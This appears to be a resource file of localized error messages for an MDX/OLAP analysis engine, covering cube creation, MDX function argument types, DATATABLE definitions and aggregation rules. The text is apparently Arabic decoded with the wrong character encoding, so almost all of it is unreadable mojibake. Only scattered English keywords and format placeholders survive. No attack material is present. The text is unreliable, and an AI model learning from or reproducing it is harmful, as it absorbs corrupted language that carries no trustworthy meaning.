:J1 E9*E/).D-/+* E.'DA) DDBJH/ 'D*J *A16G' 9D'E) CONSTRAINED AJ 'D/'D) %{func/}.P%F /'D) MDX 'D*J GJ %{func/} A4D* D#F 'D%-/'+J D3E) '%{attr/}' J-*HJ 9DI E,EH9)."J,( #F JCHF '3E FEH0, 'D,E9 3D3D).DE J*E *-/J/ '3E FEH0, ,E9.FEH0, 'D,E9 'DE-// :J1 EH,H/.!DE **E E9'D,) FEH0, 'D,E9 'DE-//.PA.FEH0, 'D,E9 'DE-// DJ3 ,2!K' EF (FJ) ,E9 OLAP.AEC9( 'D3J'B DJ3 E5/1 (FJ) ,E9 OLAP 'D0J J-*HJ 9DI FEH0, ,E9 E-//.;J,( #F *CHF E9DE) 'D*9(J1 3D3D) J*E *BJJEG' %DI BJE) 1BEJ).'D*9(J1 'D1BEJ :J1 E-//.CD' JECF #F J*E *BJJE 'D*9(J1 'D1BEJ 'D*'DJ: %{detailed_error_text/},*E *BJJE 'D*9(J1 'D1BEJ DCFG DE J1,9 F*J,).'D*9(J1 :J1 5'D-.IA4D* 'D/'D) (3(( 'D.7# 'D*'DJ: %1[%{exception/}%]%[;%{exceptioninner/}%].KD' JECF %F4'! E,EH9) '%{name/}' 'DE3E') D#FG *H,/ E,EH9) (FA3 'D'3E ('DA9D.YD' JECF %F4'! 'D9EDJ) 'D-3'(J) '%{name/}' D#FG *H,/ 9EDJ) -3'(J) D.DJ) (FA3 'D'3E ('DA9D.CD' JECF %F4'! 'D%,1'! '%{name/}' D#FG JH,/ %,1'! (FA3 'D'3E ('DA9D.!'D96H 'DE-3H( %{name/} :J1 EH,H/.%{name/} 'DE3E') :J1 EH,H/).,'D9EDJ) 'D-3'(J) DD.DJ) %{name/} :J1 EH,H/).'D%,1'! %{name/} :J1 EH,H/.PJECF *FAJ0 'D71JB) AB7 AJ F7'B 'DEC9(. #E' 'D7D( ADE J*E *-/J/ 'DEC9( 'D-'DJ (G.S'D#E1 DROP CUBE E9*E/ AB7 9DI EC9('* ,D3) 'D9ED. #E' '%{name/}' ADJ3 EC9( ,D3) 9ED.D' JECF -3'( 'DBJE).:J1 E3EH- ('D(J'F'* 'DE*9//).N*E '3*/9'! 'D/'D) Extract ('D*3D3D 'DGJCDJ '%{hier/}' :J1 'DEH,H/ AJ 'DE,EH9).I*E *E1J1 'D*3D3D 'DGJCDJ '%{hier/}' #C+1 EF E1) H'-/) %DI 'D/'D) Extract.M'D#96'! 'DE-3H(HF :J1 E9*E/JF 9DI #(9'/ -B'&B. 'D(9/ '%{name/}' GH (9/ -BJB)._D' JECF #F J4ED 'DF7'B #96'! E-3H(JF 9F/E' J*E *9JJF .'5J) BlsContentType 9DI 'SpreadsheetXml'.`D' J*E /9E %D' 'DF*'&, 'D,/HDJ) AB7 9F/E' J*E *9JJF 'D.'5J) BlsContentType 9DI 'SpreadsheetXml'.eJ,( #F J-*HJ 'D'3*9D'E 9DI +D'+) E-'H1 9F/E' J*E *9JJF 'D.'5J) 'BlsContentType' 9DI 'SpreadsheetXml'._AB7 Members. H'DE,EH9'* J*E B(HDG' 9F/E' J*E *9JJF 'D.'5J) BlsContentType 9DI 'SpreadsheetXml'.;:J1 B'/1 9DI *FAJ0 7D( BLS D#F ,D3) 9ED BLS DE J*E *GJ&*G'.CA4D 'D#E1 DROP SUBCUBE D9/E 'B*1'F #J EC9('* A19J) (,D3) 'D9ED G0G.:D' JECF #F *-*HJ 'DE,EH9) 'D*J AJ WHERE 9DI EB'JJ3 E*9//).5*E* EB'(D) E,EH9) D' JECF #F *-*HJ 9DI #96'! E-3H(JF.8*-/J+'* 'D.DJ) :J1 E9*E/) DDE,EH9'* 'D*J AJ 9('1) WHERE.HEF :J1 'D"EF '3*/9'! /'D) E91QA) EF BP(D 'DE3*./E EF 'DH',G) '%{intf/}'.}(O9/ 'DHB* AJ E,EH9) 'DEBJ'3 0'* 'D5D) EF FH9 #5D-*'(9 HJH,/ EBJ'3 4(G %6'AJ '%{name/}' AJ 'DEC9(. E+D G0' 'D*CHJF :J1 E9*E/.NB'E E-3QF 'D'3*9D'E (%F4'! 9// C(J1 ,/K' EF 'DEC9('* 'DA19J) AJ .7) 'D'3*9D'E.N'D/'D) Leaves DD3E'* 0'* 'DFB'H) 'DE.*D7) AJ E,EH9'* EB'JJ3 E.*DA) :J1 E9*E/)..EBJ'3 'D9// 'DEEJ2 :J1 E9*E/ DDEC9('* 'DE-DJ).#'D3E) %{strAttr/} DJ3 (G' #J #96'!.DJECF '3*/9'! 'D/'D) VisualTotals AB7 (E9DE) E,EH9) *3D3D GJCDJ EA1/.SD' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) *BJJ/ 'DE3'-) ('3*./'E 'D#96'! 'DE-3H(JF.ND' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) *BJJ/ 'DE3'-) ('3*./'E 9('1) HAVING.^D' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) *91JA 'D9EDJ'* 'D-3'(J) 'D,/J/) ('3*./'E 9('1) WITH.BD' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) #F *-*HJ 9DI .5'&5 .DJ).BD' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) '3*./'E 9('1) NON EMPTY.JD' JECF H69 'D#F8E) 'DA19J) H'DEC9('* 'DA19J) AJ B'&E) 'F*8'1 (*F3JB E37-.FD' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) #F JCHF DG' %/.'D 6E 'D*HB9.ED' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) #F JCHF DG' 6E *HB9 FEH0,J.ED' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) #F JCHF DG' 9('1) GROUP BY.ED' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) #F JCHF DG' 9('1) ORDER BY.>D' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) '3*9D'E E-*HI FEH0,.CD' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) '3*9D'E -'D'* 9JF) FEH0,.>D' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) '3*9D'E -'D'* FEH0,.=D' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) '3*9D'E xml DFEH0,.CD' JECF DD#F8E) 'DA19J) H'DEC9('* 'DA19J) '3*9D'E E-*HI (O9/ FEH0,.+DE J*E *-/J/ #J #(9'/ DDEBJ'3 '%{measure/}'l/'D) 'D*,EJ9 %{aggfunc/} 'DE-//) D*.7J7 FH9 'D-3'( %{accounttype/} :J1 E9*E/) DDEBJ'3 4(G 'D%6'AJ ByAccount.-D' */9E 'D#F8E) 'DA19J) %D' E-H1 COLUMNS AB7.C'D4CD 'D94H'&J :J1 E3EH- (G 9F/ 'D*B3JE 9(1 #(9'/ EF 9/J/ %DI 9/J/.,**HB9 'D/'D) %{func/} %,1'!K E.2FK' DDH3J7).1D' JECF *,EJ9 EBJ'3 9// EEJ2 ('3*./'E *9(J1 E.55.?J*7D( 'DEBJ'3 4(G 'D%6'AJ %{msr/} (9/ 'DHB* AJ E,EH9) 'DEB'JJ3..J*7D( 'DEBJ'3 4(G 'D%6'AJ %{msr/} (O9/ 'D-3'(.�J*7D( 'DEBJ'3 4(G 'D%6'AJ %{msr/} 3E) 'D-3'( AJ 'D(9/ 'D-3'(. %0' C'F 'D-3'( *3D3D' GJCDJK' #5D-*'(9 A-JF&0 J,( 9DI 3E) 'D-3'( #F *CHF 3E) 'D#5D.cJ*7D( 'DEBJ'3 4(G 'D%6'AJ %{msr/} #F *CHF 3E) FH9 'D-3'( AJ (O9/ 'D-3'( -'DJ) H0'* 5D) (3E) 'D-3'(.B'D#96'! 'D'A*1'6JHF DD(O9/ '%{dimName/}' :J1 EH,H/JF (96GE E9 (96.PAo:J1 B'/1 9DI 'D-5HD 9DI 'D96H 'D-'DJ DH,H/ 3E) :J1 B'(D) DD*,EJ9 (G' %-/'+J 96H :J1 E-3H( EF *3D3D GJCDJ E.*DA.-J,( #F JCHF B/ *E *-/J/ EDA #3'3J D*,EJ9 Clr.6A4D* /'D) MDX HGJ %{func/} AJ '3*./'E 'D#-/'+J 'D-'DJ.+*,EJ9'* Clr :J1 E9*E/) AJ 'DEC9('* 'DE-DJ).D' JECF #/'! 9EJD) 'D'3*91'6.CD' JECF #/'! 9EDJ) 'D'F*B'D 'D*A5JDJ DH,H/ 9EDJ) C*'() .DAJ) E9DB).OD' JECF #/'! 9EDJ) 'D'3*91'6 D#F #E'F 'D.DJ) D' J3E- ('DH5HD %DI (J'F'* 'DE5/1.CJECF '3*./'E /'D) DistinctCount AB7 9DI EBJ'3 E-3H( (HDJ3 9DI 96H).a:J1 B'/1 9DI %3B'7 'DC'&F '%{strObjectName/}' -J+ %FG J*E %1,'9G (H'37) C'&F ".1 H'-/ 9DI 'D#BD.g1(E' D' *3*./E EBJ'3K' E-3H(K' #H /'D) *,EJ9 DD9EH/ '%{measure/}' AJ 'D9('1) RETURN ('3*9D'E 'D'3*91'6.:D' JECF #F *-*HJ 'D.'5J) non_empty_behavior 9DI 96H E-3H(.(DE J*E 'D9+H1 9DI E,EH9) EBJ'3 %{name/}.G'D4CD 'D94H'&J :J1 E3EH- (G 9F/E' *BHE 9F'51G (9ED %3F'/ *1'ABJ D(KO9/./J,( #F *CHF 'DE9DE) D@ UrlEscapeFragment 3D3D).*901 -D 'D'3E 'DE-//."'3E 'D96H 'DE-3H( 'DE-// :J1 5'D-.3*E *-/J/ E,EH9) GJCDJ) E*9//) AJ DROP VISUALTOTALS.`'D*3D3D 'DGJCDJ %{name/} GH *3D3D #5D-*'(9. H*,EJ9 'D*3D3D'* 'DGJCDJ) EF FH9 #5D/*'(9 :J1 E9*E/.%DJ3 DDE,EH9) '%{name/}' E3*HI E7'(B).l9('1) 'CREATE CUBE' :J1 5'D- D9/E H,H/ #J EF 'D#(9'/ 'DE-//) JF*EJ %DI E,EH9) EB'JJ3 EBJ'3 '%{name/}' 'DE-//F'D(O9/ %{name/} GH (O9/ E1*(7. 'D*,EJ9 9DI 'D#(9'/ 'DE1*(7) :J1 E9*E/.A'D(O9/ %{name/} GH (O9/ ROLAP. 'D*,EJ9 9DI #(9'/ ROLAP :J1 E9*E/.=%F 'D3E) %{name/} *E A5DG'. H*,EJ9 'D3E'* 'DEFA5D) :J1 E9*E/.B'D(O9/ %{name/} GH (O9/ ,E9 (J'F'* AD' *ECF %6'A*G %DI EC9( E-DJ.�'D/'D) AggregateFunction DDEBJ'3 %{name/} GJ FirstChild/LastChild/FirstNonEmpty/LastNonEmpty/AverageOfChildren H(O9/ 'DHB* :J1 E6EF ('DC'ED AJ 'DEC9( 'DE-DJ.c/'D) AggregateFunction DDEBJ'3 %{name/}GJ ByAccount H(O9/ 'D-3'( :J1 E6EF ('DC'ED AJ 'DEC9( 'DE-DJ.�*E *6EJF (O9/ EF 9/J/ %DI 9/J/ %{name/} AJ 'DEC9( 'DE-DJ (JFE' D' JH,/ #J EBJ'3 EF 'DEB'JJ3 EF E,EH9) EB'JJ3G 'DH3J7) %{mg_name/} C0DC.�*E *6EJF 'D(O9/ EF 9/J/ %DI 9/J/ %{name/} AJ 'DEC9( 'DE-DJ DCF *H,/ #(9'/ E4*1C) DE,EH9) 'DEB'JJ3 %{mg_name/} H%DI E,EH9) EB'JJ3G' 'DH3J7) %{img_name/} :J1 'DE6EF) ('DC'ED.&D' JECF -D 'D*9(J1 AJ 3J'B 4CD 94H'&J.QE7DH( EF E3$HD B'9/) 'D(J'F'* #H E3$HD 'D.'/E *FAJ0 'D#E1 SystemGetLogicalDrives.&D' JECF *:JJ1 'D.'5J) The SOLVE_ORDER.5#96'! ,D3) 'D9ED 'DE-3H(HF GE 'D0JF JECF *-/J+GE AB7.E$41 KPI D@ %{name/} :J1 EH,H/.ED' JECF %F4'! E$41 KPI D@ %{name/}  DH,H/ E$41 KPI (FA3 'D'3E ('DA9D.�#8G1 *,EJ9 'DECHF 'D%6'AJ '%{plugin/}' 'D'3*+F'! 'D*'DJ 9F/ E9'D,) 'D-/+ '%{event/}' event. %1[%{exception/}%]%[;%{exceptioninner/}%]L*,EJ9 'DECHF 'D%6'AJ '%{assemblyname/}' E9*E/ AB7 AJ H69 'F*-'D -3'( 'D./E).JH3J7) 'D/'D) 'D+'FJ) GJ AG13 *1*J( E3*F/ %DI 'D5A1 HD' JECF #F *CHF 3'D().PH3J7) 'D/'D) 'D+'D+) GJ AG13 *3D3D GJCDJ E3*F/ %DI 'D5A1 HD' JECF #F *CHF 3'D().XH3J7) 'D/'D) GJ AG13 *3D3D GJCDJ H.'1, F7'B 'D*3D3D'* 'DGJCDJ) 'DEH,H/) AJ E,EH9) E9JF).V*E %JB'A 'D9EDJ) D#F 'DE,EH9) 'DE-//) D%F4'! 0'C1) 'D*.2JF 'DE$B* *-*HJ 9DI 1BE E-3H(.9BJE) '%d{value/}' DE9DE) 'D/'D) '%d{param/}' .'1, 'DF7'B.D*901 *BJJE 'DE,EH9) 'D/JF'EJCJ) '%{name/}' AJ F7'B 'D'3*9D'E 'D-'DJ.-*901 *7(JB *DEJ- EAGER #H STRICT 9DI 'D*9(J1.7*901 *7(JB CD' 'D*DEJ-JF EAGER HSTRICT 9DI FA3 'D*9(J1.%'D*9(J1 'DE*HA1 DJ3 *9(J1 MDX 5'D-K'.c**HB9 'D/'D) %{func/} *9(J1 E1,9 ,/HD DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 3D3D) #H *9(J1 1BEJ.V**HB9 'D/'D) %{func/} *9(J1 E1,9 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 E,EH9).\**HB9 'D/'D) %{func/} *9(J1 E1,9 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 E,EH9) A19J).S**HB9 'D/'D) %{func/} *9(J1 E1,9 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 96H.U**HB9 'D/'D) %{func/} *9(J1 E1,9 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 E3*HI.[**HB9 'D/'D) %{func/} *9(J1 E1,9 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 *3D3D GJCDJ.T**HB9 'D/'D) %{func/} *9(J1 E1,9 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 (O9/.T**HB9 'D/'D) %{func/} *9(J1 E1,9 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 5AJA.Z**HB9 'D/'D) %{func/} *9(J1 E1,9 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 9EH/ E1,9J.c**HB9 'D/'D) %{func/} *9(J1 E1,9 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 3D3D) #H *9(J1 1BEJ.Q**HB9 'D/'D) %{func/} *9(J1 ,/HD DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 E,EH9).W**HB9 'D/'D) %{func/} *9(J1 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 E,EH9) A19J).N**HB9 'D/'D) %{func/} *9(J1 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 96H.P**HB9 'D/'D) %{func/} *9(J1 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 E3*HI.V**HB9 'D/'D) %{func/} *9(J1 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 *3D3D GJCDJ.O**HB9 'D/'D) %{func/} *9(J1 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 (O9/.O**HB9 'D/'D) %{func/} *9(J1 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 5AJA.O**HB9 'D/'D) %{func/} *9(J1 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E 9EH/ E1,9J.Y**HB9 'D/'D) %{func/} *9(J1 9EH/ E1,9JK' DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 E,EH9)._**HB9 'D/'D) %{func/} *9(J1 9EH/ E1,9JK' DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 E,EH9) A19J).S**HB9 'D/'D) %{func/} *9(J1 E1,9 9EH/ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 96H.U**HB9 'D/'D) %{func/} *9(J1 E1,9 9EH/ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 E3*HI.[**HB9 'D/'D) %{func/} *9(J1 E1,9 9EH/ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 *3D3D GJCDJ.T**HB9 'D/'D) %{func/} *9(J1 E1,9 9EH/ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 (O9/.T**HB9 'D/'D) %{func/} *9(J1 E1,9 9EH/ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 5AJA.Z**HB9 'D/'D) %{func/} *9(J1 E1,9 9EH/ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD E1,9J.T**HB9 'D/'D) %{func/} *9(J1 E1,9 9EH/ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD.@DE J*E 'D9+H1 9DI 'D9EH/ '%{colname/}' AJ 'D,/HD  '%{tblname/}'.]**HB9 'D/'D) %{func/} E1,9 9EH/ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 3D3D) #H *9(J1 1BEJ.W**HB9 'D/'D) %{func/} *9(J1 E,EH9) DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 ,/HD E1,9J.]**HB9 'D/'D) %{func/} *9(J1 E,EH9) A19J) DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD E1,9J.T**HB9 'D/'D) %{func/} *9(J1 96H DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD E1,9J.V**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD E1,9J.W**HB9 'D/'D) %{func/} *9(J1 *3D3D GJCDJ DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 E1,9J.U**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD E1,9J.PAU**HB9 'D/'D) %{func/} *9(J1 5AJA DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD E1,9J.N**HB9 'D/'D) %{func/} E1,9 ,/HD DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD.R**HB9 'D/'D) %{func/}  *9(J1 E,EH9) DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD.W**HB9 'D/'D) %{func/} *9(J1 E,EH9) A19J) DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD.N**HB9 'D/'D) %{func/} *9(J1 96H DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD.P**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD.V**HB9 'D/'D) %{func/} *9(J1 *3D3D GJCDJ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD.O**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD.O**HB9 'D/'D) %{func/} *9(J1 5AJA DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 ,/HD.V**HB9 'D/'D) %{func/} *9(J1 E,EH9) DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 E1,9 9EH/.\**HB9 'D/'D) %{func/} *9(J1 E,EH9) A19J) DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 E1,9 9EH/.S**HB9 'D/'D) %{func/} *9(J1 96H DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 E1,9 9EH/.U**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 E1,9 9EH/.[**HB9 'D/'D) %{func/} *9(J1 *3D3D GJCDJ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 E1,9 9EH/.T**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 E1,9 9EH/.PAT**HB9 'D/'D) %{func/} *9(J1 5AJA DDH3J7) '%d{arg/}', DCF *E '3*./'E *9(J1 E1,9 9EH/.X*E 'C*4'A #C+1 EF '3E H'-/ 9F/ *H2J9 E1,9 'D9EH/ '%{name/}', AJ -JF #F 'DE*HB9 '3E EA1/.HDE J*E 'D9+H1 9DI EBJ'3 '%{name/}' AJ 'D,/HD #+F'! *H2J9 'DF5 '%{str/}'.9DE J*E 'D9+H1 9DI EBJ'3 '%{name/}' AJ 'D,/HD '%{table/}'.+*E *-/J/ EBJ'3 (JFE' C'F 'DE*HB9 E1,9 9EH/.2DE J*E *9JJF 3J'B 'D5A D9EH/ 'DE1,9 ('D4CD 'D5-J-.+D' JECF '3*./'E 'DE9'ED '+' D*3D3D 3D3D*JF.1E7DH( '3E EBJ'3 5'D- :J1 A'1: DCF DE J*E *HAJ1G.;D' JECF %F4'! EBJ'3 '%{name/}' DH,H/ 96H (FA3 'D'3E ('DA9D.4*BHE /'D) %{funcName/} (B(HD E1,9 'D9EH/ CH3J7) AB7.T9('1) 'CREATE GLOBAL CUBE' :J1 E9*E/ #+F'! *4:JD Analysis Services AJ 'DH69 'D,/HDJ.]9('1) 'CREATE SESSION CUBE' :J1 E9*E/ D@ Analysis Services 'D0J J,1J *4:JDG AJ 'DH69 'D,/HDJ.[9('1) 'CREATE SESSION CUBE' :J1 E9*E/ #+F'! '3*./'E EC9('* #3'3 E*9//) E.*D7) E9 'DEF8H1'*.HJECF %F4'! 9('1) EBJ'3 AB7 9F/ '3*./'E Analysis Services AJ 'DH69 ,/HDJ.5'D9'ED #H 'D*9(J1 '%{node/}' :J1 E9*E/ AJ G0' 'D3J'B.5'D9'ED #H 'D*9(J1 '%{node/}' :J1 E9*E/ AJ G0' 'D3J'B.PAT*,EJ9'* HB* *4:JD 'DD:) 'D9'E) :J1 E/9HE) 9F/ '3*./'E E-1C Analysis Services 'DE/E,.Y*,EJ9'* HB* *4:JD 'DD:) 'D9'E) :J1 E9*E/) 9F/ '3*./'E Analysis Services AJ 'DH69 'D,/HDJ.`*,EJ9'* UDF :J1 E9*E/) 9F/ '3*./'E E-1C Analysis Services 'DE6EF '3E 'D*,EJ9 GH '%{asm_name/}'.d*,EJ9'* UDF J1 E9*E/) 9F/ '3*./'E Analysis Services AJ 'DH69 'D,/HDJ '3E 'D*,EJ9 GH '%{asm_name/}'.,E7DH( 'DH3J7) '%d{arg/}' AJ 'D/'D) %{func/}.�J*7D( 'D'3*9D'E %F4'! 7D( (J'F'* J*6EF 41J-) **CHF EF E,EH9) 94H'&J) 'D*4CJD 0'* 'DE,EH9'* 'DA19J) EF E3*HJ'* *3D3D GJCDJ E.*DA) H'D*J *9/ :J1 E9*E/) 9F/ '3*./'E Analysis Services AJ 'DH69 'D,/HDJ.8'D'3*9D'E 'DE-// E9B/ ,/K' AD' JECF *BJJEG C9('1) EA1/).�*E *,'H2 EB/'1 0'C1) 'DF8'E 'DE*'-). 9F/ '3*./'E %5/'1 32 (* EF 'DEF*, *AC1 AJ 'D*1BJ) %DI 'D%5/'1 64 (* #H 2J'/) EB/'1 'D0'C1) 'DE*'-) 9DI 'D,G'2.ID' JECF %F4'! 'D96H 'DE-3H( '%{name/}' DH,H/ 96H E-3H( (FA3 'D'3E ('DA9D.ED' JECF %F4'! 'D96H 'DE-3H( '%{name/}' DH,H/ EBJ'3 (FA3 'D'3E ('DA9D.CD' JECF %F4'! 'DEBJ'3 '%{name/}' DH,H/ 96H E-3H( (FA3 'D'3E ('DA9D.?D' JECF %F4'! 'DEBJ'3 '%{name/}' DH,H/ EBJ'3 (FA3 'D'3E ('DA9D.CD' JECF %F4'! 'DE*:J1 [%{name/}] DH,H/ 96H E-3H( (FA3 'D'3E ('DA9D.?D' JECF %F4'! 'DE*:J1 [%{name/}] DH,H/ EBJ'3 (FA3 'D'3E ('DA9D.?D' JECF %F4'! 'DE*:J1 [%{name/}] DH,H/ E*:J1 (FA3 'D'3E ('DA9D.?D' JECF %F4'! 'DE*:J1 [%{name/}] DH,H/ E*:J1 (FA3 'D'3E ('DA9D.PAED' JECF %F4'! 'D96H 'DE-3H( [%{name/}] DH,H/ E*:J1 (FA3 'D'3E ('DA9D..*CHF *DEJ-'* 9('1) CASE %E' EAGER H%E' STRICT.$D' JECF #F J-*HJ E*:J1 9DI '3E A'1:.iJ(/H #F #9E/) H#FH'9 /'D) DATATABLE B/ *E %B1'FG' AJ 2H, (4CD :J1 5-J- (J,( #F JCHF 9// 'DH3J7'* A1/JK').�J(/H #F *91JA 'D,/HD EABH/ AJ /'D) DATATABLE; J,( #F *CHF ".1 E9DE) AJ /'D) DATATABLE B'&E) ('DE,EH9'* 'DA19J), HE-'7) ('DBH3JF '{' H'}'.�J(/H #F E,EH9) 'DBJE 9F/ 'DAG13 '%ld{tuple/}' EF *91JA ,/HD 'D/'D) DATATABLE :J1 5-J-) HJ,( #F *CHF E,EH9'* 'DBJE E-'7) (JF 'DBH3JF '{' H'}'.kD' *-*HJ E,EH9) 'DBJE 9F/ 'DAG13 '%ld{tuple/}' EF *91JA ,/HD 'D/'D) DATATABLE 9DI 'D9// 'DE*HB9 EF 'D#9E/).zDJ3* *EDC 'DE,EH9) 'D*J AJ 'DAG13 '%ld{tuple/}' EF *91JA 'D/'D) DATATABLE *9(J1K' +'(*K' AJ 'D9EH/ 9F/ 'DAG13 '%ld{col/}'.�'3E 'D,/HD :J1 E*3B 9(1 *91JA 'D#9E/) AJ 'D/'D) DATATABLE HD' J*7'(B ,/HD 'D9EH/ AJ 'DAG13 '%ld{col/}' E9 ,/HD 'D9EH/ ('D#9E/)) 'D3'(B.q'DFH9 AJ 'D/'D) %{function/} :J1 5'D- *4ED 'D#FH'9 'D5'D-) BOOLEAN HDOUBLE HINTEGER HDATETIME HCURRENCY HSTRING.6**HB9 'D/'D) DATATABLE '3E 9EH/ C1BE H3J7) %ld{iArg/}.>**,'H2 'D9EDJ) Auto Exist -/ 'D0'C1) 'DE3EH- (G HJ,1J %D:'$G'..'DEBJ'3 'D'A*1'6J DDEF8H1 '%{name/}' :J1 5'D-.E3EH- AB7 ('D'3*9D'E 'DEA1/.0*E* E5'/A) .7# H'-/ #H #C+1 AJ (1F'E, MDX 'DF5J.8**HB9 'D/'D) %{func/} *9(J1 FEH0, *F($ DDH3J7) %d{arg/}.PA=**HB9 'D/'D) %{func/} *9(J1 E1,9 FEH0, *F($ DDH3J7) %d{arg/}.T**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E1,9 FEH0, *F($.[**HB9 'D/'D) %{func/} *9(J1 *3D3D GJCDJ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E1,9 FEH0, *F($.g**HB9 'D/'D) %{func/} *9(J1 3D3D) #H *9(J1K' 1BEJK' DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E1,9 FEH0, *F($.V**HB9 'D/'D) %{func/} *9(J1 E,EH9) DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E1,9 FEH0, *F($.V**HB9 'D/'D) %{func/} *9(J1 E,EH9) DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E1,9 FEH0, *F($.S**HB9 'D/'D) %{func/} *9(J1 96H DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E1,9 FEH0, *F($.U**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E1,9 FEH0, *F($.T**HB9 'D/'D) %{func/} *9(J1 5AJA DDH3J7) %d{arg/}. *E '3*./'E *9(J1 E1,9 FEH0, *F($._**HB9 'D/'D) %{func/} *9(J1 E1,9 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 E1,9 FEH0, *F($.Z**HB9 'D/'D) %{func/} *9(J1 ,/HD DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 E1,9 FEH0, *F($._**HB9 'D/'D) %{func/} *9(J1 E1,9 9EH/ DDH3J7) '%d{arg/}' DCF *E '3*./'E *9(J1 E1,9 FEH0, *F($.O**HB9 'D/'D) %{func/} *9(J1 (O9/ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 FEH0, *F($.V**HB9 'D/'D) %{func/} *9(J1 *3D3D GJCDJ DDH3J7) %d{arg/}. *E '3*./'E *9(J1 FEH0, *F($.b**HB9 'D/'D) %{func/} *9(J1 3D3D) #H *9(J1K' 1BEJK' DDH3J7) %d{arg/}. *E '3*./'E *9(J1 FEH0, *F($.Q**HB9 'D/'D) %{func/} *9(J1 E,EH9) DDH3J7) %d{arg/}. *E '3*./'E *9(J1 FEH0, *F($.PAQ**HB9 'D/'D) %{func/} *9(J1 E,EH9) DDH3J7) %d{arg/}. *E '3*./'E *9(J1 FEH0, *F($.N**HB9 'D/'D) %{func/} *9(J1 96H DDH3J7) %d{arg/}. *E '3*./'E *9(J1 FEH0, *F($.P**HB9 'D/'D) %{func/} *9(J1 E3*HI DDH3J7) %d{arg/}. *E '3*./'E *9(J1 FEH0, *F($.O**HB9 'D/'D) %{func/} *9(J1 5AJA DDH3J7) %d{arg/}. *E '3*./'E *9(J1 FEH0, *F($.Z**HB9 'D/'D) %{func/} *9(J1 E1,9 